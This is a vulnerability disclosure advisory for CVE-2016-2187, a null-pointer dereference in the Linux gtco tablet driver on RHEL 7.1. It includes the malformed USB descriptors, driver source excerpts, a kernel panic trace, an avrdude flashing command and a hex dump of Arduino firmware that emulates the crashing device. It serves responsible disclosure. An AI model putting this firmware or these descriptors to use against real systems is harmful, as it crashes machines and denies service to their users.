

# OS-S Security Advisory 2016-14

## Linux gtco Nullpointer Dereference

Date: March 4<sup>th</sup>, 2016

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CVE: CVE-2016-2187

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (gtco driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86\_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12<sup>th</sup> 2015

### Abstract:

The Kernel 3.10.0-229.20.1.el7.x86\_64 crashes on presentation of a buggy USB device requiring the gtco driver.

### Detailed product description:

We confirmed the bug on the following system:

- RHEL 7.1
- Kernel 3.10.0-229.20.1.el7.x86\_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.

### Description:

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo ([github.com/schumilo](https://github.com/schumilo)) using the following device descriptor:

#### [\*] Device-Descriptor

bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x78c
idProduct:	0x400
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing the malicious value for bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system.

**[\*] Configuration-Descriptor**

```

bLength:                0x9
bDescriptorType:        0x2
wTotalLength:           0x27
bNumInterfaces:         0x1
bConfigurationValue:    0x1
iConfiguration:         0x0
bmAttributes:           0x0
bMaxPower:              0x31

```

**[\*] Interface-Descriptor**

```

bLength:                0x9
bDescriptorType:        0x4
bInterfaceNumber:       0x0
bAlternateSetting:      0x0
bNumEndpoints:         0x0
bInterfaceClass:        0x0
bInterfaceSubClass:     0x0
bInterfaceProtocol:     0x0

```

**[\*] Endpoint-Descriptor:**

```

bLength:                0x7
bDescriptorType:        0x5
bEndpointAddress:       0x81
bmAttributes:           0x3
wMaxPacketSize:         0x404
bInterval:              0xc

```

**[\*] Endpoint-Descriptor:**

```

bLength:                0x7
bDescriptorType:        0x5
bEndpointAddress:       0x1
bmAttributes:           0x2
wMaxPacketSize:         0x4
bInterval:              0xc

```

**[\*] Endpoint-Descriptor:**

```

bLength:                0x7
bDescriptorType:        0x5
bEndpointAddress:       0x82
bmAttributes:           0x1
wMaxPacketSize:         0x4
bInterval:              0xc

```

The gtco driver assumes that there will be at least one endpoint-descriptor.

If the interface-descriptor contains a zero-value for bNumEndpoints or no endpoint-descriptor is provided, the driver tries to dereference a null-pointer and the kernel crashes:

```

****
$ nm gtco.ko.debug | grep gtco_probe
000000000001280 t gtco_probe
$ addr2line -e gtco.ko.debug 0x13C3
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/include/uapi/linux/usb/ch9.h:501
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (includes/uapi/linux/usb/ch9.c)
...
498 static inline int usb_endpoint_xfer_int( /* used by gtco_probe */
499         const struct usb_endpoint_descriptor *epd)
500 {
501     return ((epd->bmAttributes & USB_ENDPOINT_XFERTYPE_MASK) == /* Possible Nullpointer-Dereference */
502         USB_ENDPOINT_XFER_INT);
503 }
...
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/gtco.c)
...

```

```

876 endpoint = &usbinterface->altsetting[0].endpoint[0].desc; /* Nullpointer */
877
878 /* Some debug */
879 dev_dbg(&usbinterface->dev, "gtco # interfaces: %d\n", usbinterface->num_altsetting);
880 dev_dbg(&usbinterface->dev, "num endpoints: %d\n", usbinterface->cur_altsetting->desc.bNumEndpoints);
881 dev_dbg(&usbinterface->dev, "interface class: %d\n", usbinterface->cur_altsetting->desc.bInterfaceClass);
882 dev_dbg(&usbinterface->dev, "endpoint: attribute:0x%x type:0x%x\n", endpoint->bmAttributes, endpoint->bDescriptorType);
883 if (usb_endpoint_xfer_int(endpoint)) /* bad function call... */
884 dev_dbg(&usbinterface->dev, "endpoint: we have interrupt endpoint\n");
...
****

```

### Proof of Concept:

For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device.

```
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex
```

The firmware has been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3!

### Vendor Communication:

We contacted Red Hat on the November, 12<sup>th</sup> 2015.

To this day, no security patch was provided by the vendor.

Since our 90-day Responsible Disclosure deadline is expired, we publish this Security Advisory.

### References:

- [https://bugzilla.redhat.com/show\\_bug.cgi?id=1283385](https://bugzilla.redhat.com/show_bug.cgi?id=1283385)

### Kernel Stacktrace:

```

[ 34.783558] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 34.989586] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint descriptors, different from the interface descriptor's value: 0
[ 35.022835] usb 1-1: New USB device found, idVendor=078c, idProduct=0400
[ 35.030240] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 35.038955] usb 1-1: Product: ĉ
[ 35.043361] usb 1-1: Manufacturer: ĉ
[ 35.048399] usb 1-1: SerialNumber: %
[ 35.104407] BUG: unable to handle kernel NULL pointer dereference at 0000000000000003
[ 35.105023] IP: [<ffffffa03943c3>] gtco_probe+0x143/0x6e8 [gtco]
[ 35.105023] PGD 0
[ 35.105023] Oops: 0000 [#1] SMP
[ 35.105023] Modules linked in: gtco(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_contrack ebttable_nat ebttable_broute
bridge stp llc ebttable_filter ebttables ip6table_nat nf_contrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle
ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_contrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4
nf_nat nf_contrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea
sysfillrect sysimgblt ttm drm_kms_helper drm_pspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror
dm_region_hash dm_log dm_mod
[ 35.105023] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 35.105023] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-
project.org 04/01/2014
[ 35.105023] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 35.105023] RIP: 0010:[<ffffffa03943c3>] [<ffffffa03943c3>] gtco_probe+0x143/0x6e8 [gtco]
[ 35.105023] RSP: 0018:ffff88000bd23b80 EFLAGS: 00010246
[ 35.105023] RAX: ffff88000c525830 RBX: ffff88000c500480 RCX: 0000000000000000
[ 35.105023] RDX: 00000000000004a87 RSI: ffff88000c5006c0 RDI: ffff88000c500780
[ 35.105023] RBP: ffff88000bd23be0 R08: 0000000000000000 R09: ffffffff814183da
[ 35.105023] R10: ffff88000e401800 R11: ffffffff810020d8 R12: ffff88000bcd1800
[ 35.105023] R13: ffff88000c525800 R14: 0000000000000000 R15: ffffffff80395540
[ 35.105023] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000
[ 35.105023] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 35.105023] CR2: 0000000000000003 CR3: 00000000d6000000 CR4: 0000000000000060
[ 35.105023] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 35.105023] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 35.105023] Stack:
[ 35.105023] 0000000000000202 0000000000000001 0000000000000246 ffff88000c525830
[ 35.105023] ffff88000c525830 ffffffff813dfba2 00000000b32559ce ffff88000bcd0090
[ 35.105023] ffff88000bcd0000 ffffffff80396068 ffff88000c525830 ffffffff80395540

```

```

[ 35.105023] Call Trace:
[ 35.105023] [<ffffffff813dfba2>] ? __pm_runtime_set_status+0x132/0x210
[ 35.105023] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 35.105023] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 35.105023] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 35.105023] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 35.105023] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 35.105023] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 35.105023] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 35.105023] [<ffffffff813d3b34>] driver_register+0x64/0xf0
[ 35.105023] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[ 35.105023] [<ffffffa0034000>] ? 0xffffffa0033fff
[ 35.105023] [<ffffffa003401e>] gtco_driverinfo_table_init+0x1e/0x1000 [gtco]
[ 35.105023] [<fffffff810020e8>] do_one_initcall+0xb8/0x230
[ 35.105023] [<fffffff810dd0ee>] load_module+0x133e/0x1b40
[ 35.105023] [<fffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 35.105023] [<fffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 35.105023] [<fffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 35.105023] [<fffffff81614389>] system_call_fastpath+0x16/0x1b
[ 35.105023] Code: 48 89 45 c0 f6 05 37 21 00 00 04 0f 85 1e 05 00 00 f6 05 02 21 00 00 04 0f 85 37 05 00 00 f6 05
cd 20 00 04 0f 85 50 05 00 00 <41> 0f b6 46 03 83 e0 03 3c 03 0f 84 fd 03 00 00 f6 05 60 20 00
[ 35.105023] RIP [<ffffffa03943c3>] gtco_probe+0x143/0x6e8 [gtco]
[ 35.105023] RSP <ffff88000bd23b80>
[ 35.105023] CR2: 0000000000000003
[ 35.511027] ---[ end trace b239663354a1c556 ]---
[ 35.515436] Kernel panic - not syncing: Fatal exception
[ 35.516408] drm_kms_helper: panic occurred, switching back to text console

```

### Arduino Leonardo Firmware:

```

:10000000C94A8000C94C5000C94C5000C94C50079
:10001000C94C5000C94C5000C94C5000C94C5004C
:10002000C94C5000C94C5000C94C2050C942D04CE
:10003000C94C5000C94C5000C94C5000C94C5002C
:10004000C94C5000C94C5000C94C5000C94C5001C
:10005000C94C5000C94C5000C94C5000C940C02C3
:10006000C94C5000C94C5000C94C5000C94C500FC
:10007000C94C5000C94C5000C94C5000C94C500EC
:10008000C94C5000C94C5000C94C5000C94C500DC
:10009000C94C5000C94C5000C94C5000C94C5000C
:1000A000C94C5000C94C5000C94C50009030C0306
:1000B000F0203032D032D032D0310031403180364
:1000C0001E0322032D0328030000000200080E0077
:1000D00000030401000B0000000000000000000D
:1000E000000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:10010000102040400404040404040404040404040
:10011000040302020202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E0EDF3E102C005900D92A436B107D5
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9402070C94000089547
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E949F020E94C70060E06D
:1001B00083E00E942E0361E087E00E942E0361E04D
:1001C00088E00E942E030E9457067E012AE9E20E73
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
:1002700001900D928A95E1F7AE0147585F4F87E0F4

```

:10028000E5E7F1E0DA0101900D928A95E1F75E0170  
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D  
:1002A0000D928A95E1F7CE01835B9F4FEEEE0DC0172  
:1002B0001D92EA95E9F7E3E0DC011996EC93F90168  
:1002C0009082E4E0D9011196EC93F901DC01292D2B  
:1002D00001900D922A95E1F7FE01EC56FF4FDC01EB  
:1002E0001B96FC93EE931A971D96BC92AE921C97A8  
:1002F0001183008373836283558344830C521109F5  
:100300002CE0F80111922A95E9F721E0D80119961D  
:100310002C931997FE01E059FF4F01900D929A948A  
:10032000E1F7F8019387828761E088E00E94670324  
:100330008BE492E00E94630688E892E00E946306E4  
:1003400087EC92E00E94630686E093E00E946306D9  
:1003500082E493E00E9463068FE793E00E946306C5  
:1003600084EA93E00E9463068BEE93E00E946306AA  
:1003700083E00E949D03892B09F047C05E01F3E2F0  
:10038000AF0EB11C8824839482E1982E84E194E01E  
:100390000E946306BF92AF92DF92CF92FF92EF92DC  
:1003A0001F928F921F930F932DB73EB722513109A1  
:1003B0000FB6F8943EBF0FBE2DBFADB7BEB71196B6  
:1003C000FE01FB96892D01900D928A95E1F78DE64D  
:1003D00095E00E94010668E873E180E090E00E94E9  
:1003E00079028DE695E00E944C0660E087E00E946D  
:1003F000670368E873E180E090E00E9479020FB63D  
:10040000F894DEBF0FBECDBFC1CF6AE070E080E0E0  
:1004100090E00E947902ACCF1F920F920FB60F921C  
:1004200011242F933F938F939F93AF93BF9380910A  
:10043000650590916605A0916705B09168053091BA  
:10044000640523E0230F2D3720F40196A11DB11D73  
:1004500005C026E8230F0296A11DB11D2093640557  
:100460008093650590936605A0936705B093680532  
:100470008091690590916A05A0916B05B0916C051A  
:100480000196A11DB11D8093690590936A05A09303  
:100490006B05B0936C05BF91AF919F918F913F9188  
:1004A0002F910F900FBE0F901F9018953FB7F894A3  
:1004B0008091690590916A05A0916B05B0916C05DA  
:1004C00026B5A89B05C02F3F19F00196A11DB11DAF  
:1004D0003FBF6627782F892F9A2F620F711D811DCC  
:1004E000911D42E0660F771F881F991F4A95D1F72B  
:1004F0000895CF92DF92EF92FF92CF93DF936B013B  
:100500007C010E945602EB01C114D104E104F10404  
:1005100079F00E9456026C1B7D0B683E7340A0F37D  
:1005200081E0C81AD108E108F108C851DC4FECCFCE  
:10053000DF91CF91FF90EF90DF90CF900895789466  
:1005400084B5826084BD84B5816084BD85B58260D8  
:1005500085BD85B5816085BDEEE6F0E08081816076  
:100560008083E1E8F0E01082808182608083808176  
:1005700081608083E0E8F0E0808181608083E1E950  
:10058000F0E0808182608083808181608083E0E907  
:10059000F0E0808181608083E1ECF0E08081846024  
:1005A0008083808182608083808181608083E3ECAE  
:1005B000F0E0808181608083E0ECF0E08081826007  
:1005C0008083E2ECF0E0808181608083EAE7F0E004  
:1005D000808184608083808182608083808181606B  
:1005E0008083808180688083089590E0FC0131974A  
:1005F000EE30F10590F5EA5AFF4F0C94A90980916D  
:1006000080008F7703C0809180008F7D8093800071  
:10061000089584B58F7702C084B58F7D84BD089519  
:10062000809190008F7707C0809190008F7D03C0EC  
:1006300080919000877F8093900008958091C00002  
:100640008F7703C08091C0008F7D8093C000089594  
:100650008091C200877F8093C2000895CF93DF937B  
:1006600090E0FC01EA51FF4F2491FC01EC5FFE4F4A  
:100670008491882349F190E0880F991FFC01E25C86  
:10068000FE4FA591B491805D9E4FFC01C591D49120  
:100690009FB7611108C0F8948C91209582238C93A8  
:1006A000888182230AC0623051F4F8948C91322FF1

:1006B000309583238C938881822B888304C0F8949F  
:1006C0008C91822B8C939FBFDF91CF9108950F93D4  
:1006D0001F93CF93DF931F92CDB7DEB7282F30E063  
:1006E000F901E853FF4F8491F901EA51FF4F14914A  
:1006F000F901EC5FFE4F04910023C9F0882321F03B  
:1007000069830E94F5026981E02FF0E0EE0FFF1F80  
:10071000E05DFE4FA591B4919FB7F8948C91611163  
:100720003C01095812301C0812B8C939FBF0F9034  
:10073000DF91CF911F910F910895CF93DF93282FD1  
:1007400030E0F901E853FF4F8491F901EA51FF4F7E  
:10075000D491F901EC5FFE4FC491CC2391F081114B  
:10076000E94F502EC2FF0E0EE0FFF1FEE5DFE4F52  
:10077000A591B4912C912D2381E090E021F480E0AB  
:1007800002C080E090E0DF91CF910895615030F099  
:100790002091F100FC0120830196F8CF289884E68F  
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:1007B000700590936F0580936E050895FF920F93D7  
:1007C0001F93CF93DF93F82E8B01EA01BA01C80182  
:1007D0000E94A406F80120E030E08EEF2C173D07C0  
:1007E00091F1F7FE02C0A49101C0A0816091700553  
:1007F0007091710540916E0550916F0564177507F2  
:10080000ACF49091E8009570E1F39091E80092FDCE  
:100810001CC0A093F100A0917005B09171051196D4  
:10082000AF73BB27AB2B11F48093E800A091700548  
:10083000B09171051196B0937105A09370052F5F6B  
:100840003F4F3196CBCFC90102C08FEF9FEFDF91B1  
:10085000CF911F910F91FF9008951F920F920FB6A5  
:100860000F9211246F927F928F929F92AF92BF92BC  
:10087000CF92DF92EF92FF920F931F932F933F93AC  
:100880004F935F936F937F938F939F93AF93BF9398  
:10089000EF93FF93CF93DF93CDB7DEB76297DEBFC1  
:1008A000CDBF1092E9008091E80083FF46C168E067  
:1008B000CE010A960E94C60382EF8093E8009A85D3  
:1008C00097FF05C08091E80080FFFCCF03C08EEF4A  
:1008D0008093E800892F807609F023C18B858111F0  
:1008E00005C01092F1001092F10020C1282F2D7F39  
:1008F000213009F41BC1853049F48091E80080FF64  
:10090000FCCF8C8580688093E30010C1863009F0AD  
:10091000E1C02D8508891989223009F0B3C0EC8423  
:100920008E2D90E020917305309174058217930706  
:100930000CF09FC00E94D3031F92EF928DE394E0CE  
:100940009F938F930E9481068CE0E89E7001112492  
:10095000E0917505F0917605EE0DFF1D89E0DE0151  
:10096000119601900D928A95E1F7C8010E94D30378  
:1009700049E050E0BE016F5F7F4F80E00E94DE03E0  
:100980000F900F900F900F90C12CD12C612C712CD7  
:1009900033E7A32E34E0B32E4AEA842E44E0942EAB  
:1009A000E0917505F0917605EE0DFF1D818590E0D3  
:1009B000681679060CF0BAC07F926F92BF92AF9220  
:1009C0000E948106E0917505F0917605EE0DFF1D00  
:1009D000628573856C0D7D1D49E050E080E00E94CA  
:1009E000DE030F900F900F900F9000E010E0E09169  
:1009F0007505F0917605EE0DFF1D0284F385E02D5F  
:100A0000EC0DFD1D818590E0081719075CF51F931B  
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